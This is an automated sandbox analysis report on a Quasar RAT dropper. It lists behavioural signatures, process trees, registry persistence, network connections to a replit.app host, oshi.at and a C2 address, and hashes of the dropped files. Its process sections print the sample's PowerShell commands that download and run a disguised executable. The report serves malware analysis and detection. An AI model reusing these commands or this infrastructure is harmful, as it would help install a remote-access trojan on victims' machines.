Analysis Overview
SHA256
d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600
Threat Level: Known bad
The file d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600.rar was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
Quasar payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Downloads MZ/PE file
.NET Reactor proctector
Checks computer location settings
Executes dropped EXE
Adds Run key to start application
Enumerates physical storage devices
Unsigned PE
System Location Discovery: System Language Discovery
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious use of SendNotifyMessage
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-30 02:36
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-30 02:36
Reported
2024-07-30 02:40
Platform
win7-20240705-en
Max time kernel
122s
Max time network
129s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\338E.tmp\338F.tmp\3390.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\338E.tmp\338F.tmp\3390.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/2660-6-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp
memory/2660-8-0x0000000001F80000-0x0000000001F88000-memory.dmp
memory/2660-7-0x000000001B6D0000-0x000000001B9B2000-memory.dmp
memory/2660-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
memory/2660-10-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
memory/2660-11-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
memory/2660-12-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
memory/2660-13-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
memory/2660-14-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | b310916d9f3f5fb99bb03ca1fc8a1d07 |
| SHA1 | 5ff09f5fa270422f54de0827799bccdc28cbdff4 |
| SHA256 | 665df35895f7174811a9d4c87a756924ed2eb1749575de0e25d85be00c905ae0 |
| SHA512 | 6889b550877ed6928fcb7106d4de4ae5a5445e2995767b6676452f300046c403283d21570efbcdfe455088a4c01d049bc2253287064e2c828e3700d3b0b34da5 |
memory/2332-20-0x000000001B6C0000-0x000000001B9A2000-memory.dmp
memory/2332-21-0x00000000028A0000-0x00000000028A8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-30 02:36
Reported
2024-07-30 02:39
Platform
win10v2004-20240709-en
Max time kernel
149s
Max time network
158s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8D3C.tmp\8D3D.tmp\8D3E.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
networkrunfdp.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | jdvdpconstructionltdfileportal.replit.app | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.33.117.34.in-addr.arpa | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | oshi.at | udp |
| CH | 188.241.120.6:443 | oshi.at | tcp |
| US | 8.8.8.8:53 | 6.120.241.188.in-addr.arpa | udp |
| US | 192.228.105.2:4782 | tcp | |
| US | 8.8.8.8:53 | ipwho.is | udp |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| US | 8.8.8.8:53 | 2.105.228.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.57.201.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.99.105.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 122.10.44.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\8D3C.tmp\8D3D.tmp\8D3E.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/2828-2-0x00007FFFEF263000-0x00007FFFEF265000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jtqof213.oto.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2828-8-0x000001E748700000-0x000001E748722000-memory.dmp
memory/2828-13-0x00007FFFEF260000-0x00007FFFEFD21000-memory.dmp
memory/2828-14-0x00007FFFEF260000-0x00007FFFEFD21000-memory.dmp
memory/2828-18-0x00007FFFEF260000-0x00007FFFEFD21000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 98ca3263bd17f6f4308b8e4ff7530958 |
| SHA1 | 6f41bacd42af6a11bb8d1516f7b07171087e7a17 |
| SHA256 | d25dfa289ae0981cb5c6da04de6c9f1a4aaf51ba8eafb7aeda3c9e5a27268e19 |
| SHA512 | f2ad36f84956741c2e3ef494a36f2a96bf944ab035419e82447bb25a53b309a9e93b450d679cb5709f6acb5a2b7956c568b280151b65313637f758ffd08f01e7 |
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
| MD5 | a18b7de2990becc30f700720e19ebfef |
| SHA1 | b48c1a5c7756bccfe05d7999daeb96e7ab688cfd |
| SHA256 | 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5 |
| SHA512 | 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b |
memory/488-35-0x0000000000210000-0x000000000027E000-memory.dmp
memory/488-42-0x00000000055B0000-0x00000000058D5000-memory.dmp
memory/488-43-0x0000000006030000-0x0000000006354000-memory.dmp
memory/488-44-0x0000000006900000-0x0000000006EA4000-memory.dmp
memory/488-45-0x0000000005DE0000-0x0000000005E72000-memory.dmp
memory/488-46-0x0000000005E80000-0x0000000005E8A000-memory.dmp
memory/488-47-0x00000000065A0000-0x00000000065F0000-memory.dmp
memory/488-48-0x00000000066B0000-0x0000000006762000-memory.dmp
memory/488-49-0x00000000074D0000-0x0000000007AE8000-memory.dmp
memory/488-50-0x0000000007210000-0x0000000007222000-memory.dmp
memory/488-51-0x0000000007270000-0x00000000072AC000-memory.dmp
memory/488-52-0x0000000007320000-0x0000000007386000-memory.dmp